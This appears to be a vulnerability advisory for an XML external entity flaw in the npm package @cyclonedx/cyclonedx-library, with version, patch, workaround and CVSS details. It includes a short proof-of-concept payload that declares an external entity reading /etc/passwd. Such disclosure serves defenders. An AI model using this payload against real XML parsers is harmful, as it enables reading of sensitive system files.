@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability
Impact
XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.
POC
const {
Spec: { Version },
Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');
const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
<components>
<component type="library">
<name>testing</name>
<version>1.337</version>
<licenses>
<license>
<id>&xxe;</id><!-- << XML external entity (XXE) injection -->
</license>
</licenses>
</component>
</components>
</bom>`;
// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
console.error('validation error', ve);
});
Patches
This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .
Workarounds
Do not run the provided XML validator on untrusted inputs.
References
- issue was introduced via https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @cyclonedx/cyclonedx-library | >= 6.7.0, < 6.7.1 | 6.7.1 |
References
- https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7
- https://nvd.nist.gov/vuln/detail/CVE-2024-34345
- https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063
- https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203
- https://github.com/CycloneDX/cyclonedx-javascript-library
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-611- Platform
- npm
- Package
@cyclonedx/cyclonedx-library- Disclosed
- 08.05.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-38gf-rh2w-gmj7 - CC BY 4.0
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